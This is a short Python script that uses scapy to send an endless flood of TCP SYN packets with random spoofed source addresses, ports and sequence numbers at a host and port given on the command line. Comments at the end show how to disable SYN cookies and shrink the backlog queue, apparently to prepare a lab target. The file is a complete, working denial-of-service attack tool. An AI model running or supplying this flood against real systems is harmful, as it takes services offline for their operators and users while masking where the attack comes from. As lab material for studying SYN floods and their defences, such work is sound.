#!/bin/env python3
import sys
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
    
ip  = IP(dst=str(sys.argv[1]))
tcp = TCP(dport=int(sys.argv[2]), flags='S')
pkt = ip/tcp

while True:
    pkt[IP].src    = str(IPv4Address(getrandbits(32)))
    pkt[TCP].sport = getrandbits(16)
    pkt[TCP].seq   = getrandbits(32)
    send(pkt, verbose = 0)


# To disable SYN cookies 
# sudo sysctl -w net.ipv4.tcp_syncookies=0

# To see the size of the TCB queue 
# sudo sysctl -q net.ipv4.tcp_max_syn_backlog

# To set the size of the queue  
# sysctl -w net.ipv4.tcp_max_syn_backlog=80